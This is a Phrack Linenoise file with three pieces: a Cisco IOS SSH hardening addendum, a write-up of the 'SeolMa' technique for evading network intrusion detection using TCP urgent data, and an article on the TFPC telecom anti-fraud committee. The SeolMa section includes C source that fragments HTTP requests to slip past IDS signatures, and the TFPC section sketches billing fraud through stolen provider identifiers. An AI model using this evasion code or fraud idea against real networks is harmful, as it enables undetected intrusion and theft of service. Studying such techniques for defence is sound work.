==Phrack Inc.== Volume 0x0b, Issue 0x39, Phile #0x03 of 0x12 |=-----------------------=[ L I N E N O I S E ]=-------------------------=| |=-----------------------------------------------------------------------=| |=--------------------------=[ phrackstaff ]=----------------------------=| |=[ 0x00 ]=--------------------------------------------------------------=| In Phrack Volume 0xa Issue 0x38, the Linenoise section noted "Phrack Linenoise is a hodge-podge" and that there was a "section in Linenoise specifically for corrections and additions to previous articles". So, we figured, what the fuck, let's publish an Addendum to the "Building Bastion Routers Using Cisco IOS" article in Phrack Issue 55-10. When we first wrote the article, which was over 2 years ago, support for SSH in IOS was very new and only for the 7xxx and 12xxx series routers and only in the latest 12.0 release trains. We made a judgement call not to include it and indicated that it was imminent. Well, everybody sent us e-mail saying "hey, IOS has SSH now". Thanks, we know. With the release of 12.1(1)T, support for SSH is now available in most platforms. But, you might need to upgrade flash or DRAM in order to use it. According to the Cisco web site: "Before configuring the SSH server feature, you must have an IPsec encryption software image...." This basically means that you will probably need a minimum of 16MB of flash and probably about 32MB of DRAM. And make sure you download the 3DES version so you don't get lulled into that false sense of security single-key DES offers. We should also note that IOS (and PIX for that matter) only support SSH protocol version 1, at a time when most of the security community is moving towards protocol version 2, now that free (e.g., OpenSSH) implementations are available with protocol 2 support. The word we've heard from Cisco is they have no plans for SSH protocol 2 support, and recommend that you use IPsec instead. One specific reason that Cisco should move towards protocol 2 support is that there are known weaknesses in protocol 1. In fact, these weaknesses have been known for more than a year and Cisco finally acknowledged that their implementation was also vulnerable. They released a security bulletin in June and the summary says it all: "Three different Cisco product lines are susceptible to multiple vulnerabilities in the Secure Shell (SSH) protocol. These issues are inherent to the SSH protocol version 1.5, which is implemented in several Cisco product lines." So now let's get down to business and show you how to configure it. The Cisco SSH implementation requires that the system have a hostname and domain name, so we'll start with that: 1. Configure a hostname: filter(config)#hostname filter 2. Configure a domain name: filter(config)#ip domain-name home.net 3. Generate a host-specific RSA key. Use at least a 1024 bit key: filter(config)#crypto key generate rsa The name for the keys will be: filter.home.net Choose the size of the key modulus in the range of 360 to 2048 for your General Purpose Keys. Choosing a key modulus greater than 512 may take a few minutes. How many bits in the modulus [512]: 1024 Generating RSA keys ... [OK] Now, do the smart thing and make sure TELNET access is disabled and then save the configuration: filter(config)#line vty 0 15 filter(config-line)#transport input none filter(config-line)#transport input ssh filter(config-line)#exit filter(config)#exit filter#write Building configuration... [OK] Also remember that you should put an access class on the VTY to have fine-grained control over which hosts can connect to the SSH server. 4. You can now view the keys: filter#sh crypto key mypubkey rsa % Key pair was generated at: 14:41:28 PDT Jun 19 2000 Key name: filter.home.net Usage: General Purpose Key Key Data: 30819F30 0D06092A 864886F7 0D010101 05000381 8D003081 89028181 00B3F24F F51367B1 70460C52 B06E5110 F41A5458 EEE6A0DD 840EB3D3 44A958E9 E3BDF6BE 72AE2994 9751FFCB 127A5D20 318D945B FBC25FC5 D9E3BFED 8B9BBCA9 EC3A61B8 2BD6EC35 EA83CC56 27D08248 935A3F2A 9B941580 E69CC8B9 0C2CFA98 AD6F04CC 19BB8522 8E5907EA 6B047EF1 E5DBBE1C E2187761 2E106479 A4297932 19020301 0001 % Key pair was generated at: 14:41:39 PDT Jun 19 2000 Key name: filter.home.net.server Usage: Encryption Key Key Data: 307C300D 06092A86 4886F70D 01010105 00036B00 30680261 00CF13EE C84A2FE3 5720A5AB 5DA7B84D 2232E8E7 2589EF53 170BA42D 2830B2E0 44C2E60F 43BC06F2 9D52BC92 774B8442 99CD0F8F 7073F5C8 97C9A91B 14284981 D23808C0 EF71522E CBBC87AB C1CCE95A 9813B13D D52BC0D0 DC4567A3 BA4C9F24 A1020301 0001 The "General Purpose Key" is the host key and the "Encryption Key" is likely the ephemeral server key, which appears to be 768 bits. 5. Configure the timeout and authentication retries if desired; the default timeout is 120 seconds and the default number of authentication retries is 3: filter(config)#ip ssh time-out 60 filter(config)#ip ssh authentication-retries 2 6. Configure Authentication: There are many different authentication schemes you can use including RADIUS and TACACS. We'll cover just two of the simpler schemes here: Option 1: Use the enable password: filter(config)#aaa new-model filter(config)#aaa authentication login default enable Option 2: Local passwords: filter(config)#aaa authentication login default local filter(config)#username beldridg password 0 junos filter(config)#service password-encryption 7. Test it out: [beldridg@anchor tmp]$ ssh 192.168.3.9 beldridg@192.168.3.9's password: Warning: Remote host denied X11 forwarding. Warning: Remote host denied authentication agent forwarding. filter>sh ssh Connection Version Encryption State Username 0 1.5 3DES Session started beldridg The warning messages are normal if your SSH client is configured to request X11 and authentication agent forwarding. The reason for the X11 forwarding message is that the system doesn't have any X clients, and thus no need for X11 forwarding. It also doesn't support agent forwarding since the Cisco implementation doesn't support RSA authentication. Unfortunately, there is no mechanism to configure the SSH server to only accept the 3DES cipher. An enhancement request was filed with Cisco over 1 year ago and we have not heard back on the status of our request. This means that crippled SSH clients, or clients that request DES, can still connect to the server: [variablek@anchor variablek]$ ssh -c des 192.168.3.9 Warning: use of DES is strongly discouraged due to cryptographic weaknesses variablek@192.168.3.9's password: Warning: Remote host denied X11 forwarding. Warning: Remote host denied authentication agent forwarding. filter>sh ssh Connection Version Encryption State Username 0 1.5 DES Session started variablek 8. SSH Client With the release of 12.1(3)T, IOS also has an SSH client (supports DES and 3DES) so you can initiate outbound connections with something like the following: filter#ssh -l beldridg 10.0.0.1 Newer IOS releases also provide the capability to copy configurations to and from SSH servers via scp although we haven't played with that yet. |=[ 0x01 ]=--------------------------------------------------------------=| Subject: NIDS Evasion Method named "SeolMa" Recently, a new unique TCP property has known by some simple tests. This property was found when we put Urgent TCP data in the middle of normal TCP data stream, and it could be used as a way to avoid the pattern matching of most IDS, especially NIDS.. Firstly, it is worth focusing on the discordance of the interpretation process between the way of the common Operating Systems and the definition of RFC 1122. (We wouldn't cover the all of the TCP Urgent mode in this paper). The TCP/IP implementation, derived from the traditional BSD System,Urgent pointer in TCP header point to the data right after the last Urgent data. But RFC says the Urgent Pointer should point to the last Urgent data. Above two different Urgent Pointer interpretation process make two different result against below test. The testing was executed about Apache and IIS, as an application, on Solaris ( 7,8 ) , Linux 2.2.14, and Windows 2000. Undoubtedly, from my point of view, these two application hasn't any special definition for the communication of Urgent data. (i.e., these would be handled in the same way of general TCP data.) At first test, string packet "ABC" was sent in plain way, and then string packet "DEF" was forwarded in Urgent mode. Finally string packet "GHI" was delivered. Urgent Pointer value in "DEF" tcp packet was "3" . After sending these string, the final string composition on the host was not the expected "ABCDEFGHI", but the strange "ABCDEGHI", which was on the log of each application, to our surprise. The character "F" vanished. During this first test above, the environment of Linux follows BSD format for Urgent data processing. Therefore, the setting was changed as the way on RFC 1122 for the next test. These setting could be referred at TCP MAN page. ex) echo "1" > /proc/sys/net/ipv4/tcp_stdurg At second test, Linux's Urgent Pointer interpretation process follows RFC 1122. The same procedure was applied to the packet transmission at second test. Urgent Pointer value in "DEF" tcp packet was "3" also. At this time, the result was not "ABCDEFGHI", but "ABCDEFHI", to our another surprise. The Character "G" was missed at this test. >From the verification of the packet transmission using TCPDUMP and the results above, we reach to the conclusion as the following.: "1 Byte data, next to Urgent data, will be lost, when Urgent data and normal data are combined." Analyzing the first test, the value of Urgent Pointer was "3", when "DEF" was sent in Urgent mode. However, the actual Urgent Data count become "3 - 1 = 2", due to following the BSD format, and only "DE" is regarded as Urgent data and 1 Byte data "F", after "DE", is lost. Similarly, the second test result could be explained. The Urgent Pointer value of "DEF" tcp packet was 3. In this case, the whole "DEF" become Urgent Data and following "GHI" is normal data. The character "G" is discarded, as 1 Byte data following Urgent Data, in the same way. It is significant that BSD processing is applied to all the default processings of the Operating Systems in these tests. Now, by using this feature, NIDS could be easily deceived because it has no consideration for this. Assume one would like to request "GET /test-cgi" URL. Then divide "test-cgi", which could be the signature of NIDS, into at least 3 parts. Let's split into "tes", "t-c" and "gi". If "t-c" is sent as Urgent data, it is clear that the last 1 Byte "c" will be lost and the last combination will be "test-gi". Thus one would add any 1 Byte at "t-c" for cheating. Forward like "tes", "t-cX" and "gi" with same manner. Then the final host's Apache or IIS will recognize as "test-cgi", but the result of the composition in NIDS will be "test-cXgi" without consideration of this. It is no wonder that one could avoid NIDS pattern matching through this. This is not managed even on Snort, Open-Source. Commercial NIDS is also blind for this. For the worse, the OS like Linux 2.2.14 version shows different result by the speed of transmission, when Urgent data is sent more than three times. This would deteriorate the protecting way of NIDS. That is, just the prediction of 1 Byte loss wouldn't be solution. For Example, sending "ab" in normal, "cd" in Urgent mode, "ef" in normal, "gh" also in Urgent mode, "ij" in normal, and final "kl" in Urgent mode, would result in "abcefgijk" by the previous theory on this paper. However, actual outcome is "abcdefghijk" and the final Urgent data would follow the previous property. For the all Urgent data's compliance of previous property, each transmission of data needs sleep in betweens. For more details, following "seolma.c" source could be referred. The following source will show the simple concept of that. I gave "SeolMa" as a name of this method. Acknowledgement: Thanks to other RealAttack Team(www.realattack.com) members Yoon , Young ( yoon0258@www.a3sc.co.kr ) Oh, Jae Yong (syndcate@orgio.net ) Yoon, Young Min (scipio21@yahoo.co.kr) |=[ SeolMa.c ]=----------------------------------------------------------=| /* This is a simple source code for just test. You can improve your exploit source by observing it Compiled and Tested on Linux 2.2.X It works aginst most Apache , IIS well . Improve your web-cgi scan, attack tool Written by : YoungJun Ko, ohojang@realattack.com Sungjun Ko, Minsook Ko */ #include #include #include #include #include #include #include #include #include #define TCP_PORT 80 #define SOL_TCP 6 #define TCP_NODELAY 1 #define TARGET_IP "1.2.3.4" /* counter < NIDS's Signature length - 1 For example, Against "test-cgi " should counter < 7 */ int counter=0; /* writen() is important point in this source code... I adjust Stevens's code */ int writen(fd, ptr, nbytes ,sockfd,origin) register int fd; register char *ptr; register int nbytes; int sockfd; char *origin; { int nleft, nwritten ; int i, k; char urgent[2]; int done =0; int all =0; nleft= nbytes; while( nleft > 0 ) { nwritten = write(fd , ptr, counter ); if ( nwritten <= 0 ) { printf("Write Error \n" ); return (nwritten); } nleft -= nwritten ; ptr += nwritten; all += nwritten; /* For some Linux, we must sleep . */ sleep(2); /* 4 times insertion is enough for IDS evasion in simple cases */ if ( done != 4 ) { for (k=1 ; k <=1 ; k++ ) { urgent[0]= *ptr; urgent[1]= 'X'; urgent[2]= '\0'; i = send( fd, urgent , strlen(urgent), MSG_OOB ) ; printf("send result is %d\n" , i ); } done +=1; ptr += 1; } } return(nbytes - nleft ); } int main(int argc, char *argv[]) { int sockfd; int i,j,k,sendbuff; socklen_t optlen; struct sockaddr_in serv_addr; char buffer[2048]; char recvbuffer[2048]; bzero( (char *)&serv_addr , sizeof(serv_addr) ); serv_addr.sin_family = AF_INET; serv_addr.sin_addr.s_addr = inet_addr(TARGET_IP ); serv_addr.sin_port = htons ( TCP_PORT ); counter = atoi(argv[2]); if ( counter == 0 ) { printf("You must input counter value \n" ); exit(-1) ; } if ( (sockfd = socket( AF_INET , SOCK_STREAM , 0 )) < 0 ) { printf("Error socket \n"); exit(-1); } sendbuff = 1; optlen = sizeof(sendbuff ); i= setsockopt( sockfd, SOL_TCP, TCP_NODELAY, (char *)&sendbuff, optlen); printf("setsockopt TCP_NODELAY value %d\n" , i ); if ( connect (sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr))<0) { printf("Connect Failed \n"); exit(-1); } /* make a such file contains "GET /test-cgi /HTTP 1.0\n\n" */ i= open(argv[1], O_RDONLY ); j=read ( i, buffer , sizeof(buffer)); printf(" Read Buffer size is %d\n", j ); k= writen( sockfd , buffer, j, sockfd, buffer); printf("I write on socket %d bytes \n", k ); sleep(1); /* * I use just simple read() ... Usually it make error , * But don't care about it * Just observe your web server log. ( access_log , ... ) */ k = read ( sockfd, recvbuffer , sizeof(recvbuffer) ); printf(" I Read on socket %d bytes\n", k ); printf("%s\n", recvbuffer ); return 0; } |=[ 0x02 ]=--------------------------------------------------------------=| The Telecommunications Fraud Prevention Committee (TFPC) written by nemesystm, member of the dhc. http://dhcorp.cjb.net : neme-dhc@hushmail.com [introduction] In this article I will talk about the TFPC and what this committee actually does. I will take an issue that was raised during a meeting of the TFPC, explain its contents and what is going to happen in the (near) future to clarify exactly what the TFPC's activities are. I have added some miscellaneous information like a contact address and other Anti fraud initiatives in case you want to write to the TFPC or if you want to look into other similar initiatives. While making this article I was amazed how little information people I contacted were willing to give. This was also the reason why I decided to write this article as I stumbled upon the TFPC some time ago and found little to no information about them. I hope this article will be of use to you. please e-mail neme-dhc@hushmail.com if you have questions. nemesystm [What the TFPC does.] According to the guidelines that can be found on the TFPC website(1), "The TFPC is an open industry committee under the Carrier Liaison Committee (CLC). The TFPC provides an open committee to encourage the discussion and resolution, on a voluntary basis, of industry-wide issues associated with telecommunications fraud, and facilitates the exchange of information concerning these topics."(2) This told me next to nothing; a little searching was in order. The following factors affecting telecom fraud are handled by the TFPC:(3) SPI's - Service Provider Identification An SPI is a 4 character code that can be used in SS7 to identify who provides the service of a call. If you would like a short description of SS7 or Switching System 7, go to: www.cid.alcatel.com/doctypes/techprimer/keywords/ss7.jhtml Number pooling Number pooling refers to the blocks of ten thousand numbers and thousand numbers that a provider draws from to provide customers with phone numbers. An example of a ten thousand number block is 214-745-xxxx Merging of the BVDB - Billing Validation DataBase The BVDB's are used by RAO (Revenue Accounting Offices) of the carriers to calculate how much a customer has to pay. Currently BVDB's are not merged so some people try to stay ahead of them. Expansion of the LIDB - Line Information DataBase The LIDB sends a message to the BVDB's telling them about a call that is being made. Fraud happens for example when the LIDB cannot connect to the proper BVDB to write the bill. Additions to LSR - Local Service Requests LSR requests basically occur when you make a local call in North America. You do not pay for the call and therefore it is not recorded in any way. The TFPC is working together with the OBF (Order and Billing Forum) to find a industry wide solution to make it that those calls are also recorded by the DVDB's for the RAO's. A second source(4) also added the following: "While much of the TFPC's activities are shrouded in secrecy, it is actively addressing third number billing, incoming international collect to cellular, incoming payphone and PBX remote access fraud." I think that clears things up a little. [who is in the TFPC.] The TFPC membership consists of a group of carriers including Ameritech, AT&T, Bellsouth, Bell Canada, British Telecom, Sprint and Verizon.(5) A TFPC member must be an organization, company or government agency that is affected by Telecommunications Fraud. Because the TFPC discusses sensitive information a non-disclosure agreement must be signed.(6) When becoming a member of the TFPC you also have to pay a membership fee. The membership fee is relatively small and really more a sign of good will.(7) [what they decide - case study] In the infinite wisdom that the TFPC has, ;) they decided that it was alright to make one of the issues public. The issue I was able to get was Issue #0131(8), subtitled: "Identification of Service Providers for Circuit Switched Calls". The issue was raised by Norb Lucash of the USTA. "Issue statement: In a multi-service provider environment (e.g. resale, unbundling, interconnection) there is a need for a defined architecture(s) to identify entities (companies) that are involved in circuit-switched calls to facilitate billing and auditing." If you look into this you'll see that it means that there was no identification of the individual service providers when phone calls were circuit switched. Apparently Local Service Providers (LSP's) were identified by the originating phone number, but because of the current "environment" this is not working properly, so sometimes calls that cost money can not be properly billed. To solve this problem phone calls are to be accompanied by a SPI. Then everyone can just check the SPI to find out who to bill for the call. There are several solutions to the problem so a strawman was created called "Service Provider Identification Architectural Alternatives Report"(9). Quite the mouthful. This issue was first raised on 11/17/98 and is still being worked on. In general session #28 (one of the tri-yearly meetings) on May 1st of 2001 it was concluded that this was allowed to be made available on the NIIF site. The NIIF were the people that made the strawman. NIIF stands for Network Interconnection Interoperability Forum and is part of the CLC, just like the TFPC is. I believe this will be a recipe for disaster. What if a rather disgruntled individual manages to get the SPI of company X? This individual truly dislikes company X. So he hooks into a main phone line and calls the most expensive places and does it quite often. The company handling the phone calls recognizes the SPI to be from company X. Company X gets the bill and thinks: no problem, we'll just bill the person who made the calls. When company X finds out none of their clients made those calls they have lost money. The choice made from the solutions below will decide how the attack would be done. [the alternatives - case continued] As I said before, there are several solutions to the problem of the SPI's. Here they are: A. Switch-Based Alternative B. Non-Real Time Database Alternative C. Network Database Alternative D. Non-Call Setup Network Alternative E. Phased SPI Implementation Alternative What follows is a run through of how each solution would work. A. Switch-Based Alternative When a call is coming in, information about the account owner of the person calling becomes available as a line-based attribute. Both the acount owner and switch owner information is forwarded in a new parameter in the (SS7) call-setup signalling of the IAM (Initial Address Message). This information is then made available to every network node on the route of the call. When the calls reaches the final switch, similar information of the SPI of the called number is returned via (SS7) response messages, (e.g, ACM (Address Complete Message) and ANM (Answer Message)). When that information is received the originating switch has the option of including it within the originating AMA (Automatic Message Accounting) record of the call. An advantage of this would be that the information would move in real time between the companies involved. But this solution has some problems, it would require that all switches get enhanced, the AMA will have to change to make this possible and it doesn't take care of situations where SPI-type information is needed for numbers which are neither owned by the called nor calling person. B. Non-Real Time Database Alternative With this alternative it is the idea that SPI information should be put in one or more databases not directly connected to the processing of separate calls. The information could then be made available on request to the phone network some time after the call. The time between the call and the receipt of the SPI information can range from mere milliseconds up to weeks. This is actually an alright approach because only one (minor) problem gets created and only one problem remains. Everyone would have to agree who would be the third, independent, party to maintain the database. This alternative would not allow for SPI-based screening for call routing purposes. C. Network Database Alternative Sort of like the Switch-Based Alternative, this does real-time receiving and sending of SPI information when the call gets made. But the Switch-Based Alternative gets the SPI information from the switch. This alternative gets the information from an external database connected to the network. SPI information would then by grabbed by IN (Intelligent Network) or AIN (Advanced Intelligent Network) queries when the call is made. The information could become part of one of the queries currently in use (LNP, LIDB and Toll Free for example) or a completely new query that gets handled by a separate SCP (Service Control Point). D. Non-Call Setup Network Alternative The idea behind this solution is that the SPI information still comes through network signalling but detached from the call setup portion. ONLS (Originating Line Number Screening) and GET DATA (SS7) messaging are a way to get information outside of the standard call setup. E. Phased SPI Implementation Alternative The NIIF analysed the other solutions and figures alternative C is the best way to go as it comes closest to the requirements of the system that is needed. Implementation of any alternative that provides SPI in a real-time way will have a serious impact on the phone network and it will take a long time before it is completely implemented. Not all carriers have a SPI right now, so an expedited solution must be found for their problems. The NIIF thinks a segmented implementation of a limited SPI capability with a non real-time database will be best. In the future the database could be enhanced. A phased approach that begins with including SPI information with a non real-time accessible line-level database appears to be possible to implement in the near future that gives a lot of the wanted attributes. The NIIF thinks it will be best if existing LIDB's get used as a database at first because a lot of the LIDB's will already contain an Account Owner field, are available to most facilities-bases service providers and may not require that much change. Problems with LIDB's are: Potential overload of LIDB queries. Inability to perform batch processing to do off hour downloads. Potential call delay set ups because of the higher amount of queries. [so what is it going to be?] Right now no final decision has been made, all this information has been sent to the OBF (Order & Billing Forum) to make a RFP (Request For Process) so a final decision can be made. By the sounds of things alternative E is probably going to be the "winner" in all of this. [miscellaneous information] The mailing address for the TFPC is(6) TFPC Secretary - ATIS 1200 G St. NW Suite 500 Washington, D.C. 20005 Ofcourse the TFPC is not the only anti fraud initiative. A lot of telephony associations have a anti fraud section as well. I noticed that the following five were mentioned on quite a few websites on telephone fraud. One such source was Agilent(10). Agilent is one of the members of the TFPC. http://www.cfca.org - Communications Fraud Control Association (CFCA) http://www.asisonline.org - American Society for Industrial Security (ASIS) http://www.htcia.org - High Technology Crime Investigation Association (HTCIA) http://www.iir.com/nwccc/nwccc.htm - National White Collar Crime Center (NWCCC) http://www.fraud.org - National Fraud Information Center (NFIC) [conclusion] Judging by the amount of planning, who are members and the work found you can rest assured that once a decision is made all members will implement it. This makes things harder for a phreak. As the discovery of a problem by one company gets shared with other companies even greater vigilance is needed by individuals who do not want word to get out about their tricks. I do not think that committees like the TFPC will succeed in banning out all the mistakes in the telephony network. This article showed that with the introduction of a solution for one problem another potential problem opened. I am sure there are many more. [sources] (1) http://www.atis.org/atis/clc/tfpc/tfpc/tfpchom.htm from "TFPC Guidelines v1.0" published February 2001, (2) found in section II, Mission Statement. http://www.atis.org/pub/clc/tfpc/tfpcguidefinal201.pdf (3) according to a slide show taken from Nortel.com called "Securing Your Net", presented by David Bench, Senior Staff Manager-Industry Forums Liaison US Standards & industry forums team. monitor.pdf and portability.pdf I have lost the links so I have put them up at http://www.emc2k.com/dhcorp/tfpc/monitor.pdf and http://www.emc2k.com/dhcorp/tfpc/portability.pdf (4) from a overview of The Operator, volume I, number 10. read in the letter from the editor section. published October, 1992 http://www.whitaker.com/theoperator/opop0010.htm (5) from "TFPC Company Participants" http://www.atis.org/atis/clc/tfpc/tfpclist.htm (6) Non-disclosure agreement http://www.atis.org/pub/clc/tfpc/nondnew.pdf (7) as assumed by reading "2001 Funding fees for the TFPC" http://www.atis.org/pub/clc/tfpc/tfpc2001fees.doc (8) History of decisions from 1998 until 2001 for issue 131 http://www.atis.org/pub/clc/niif/issues/0131.doc (9) The original link died. I put it up for people to view at http://www.emc2k.com/dhcorp/tfpc/131strawr8.doc (10)The following URL is cut up a bit to fit properly. http://www.agilent.com/cm/commslink/hub/issues/fraud/*CONNECT* fraud_prevent_initiatives.html |=[ EOF ]=---------------------------------------------------------------=|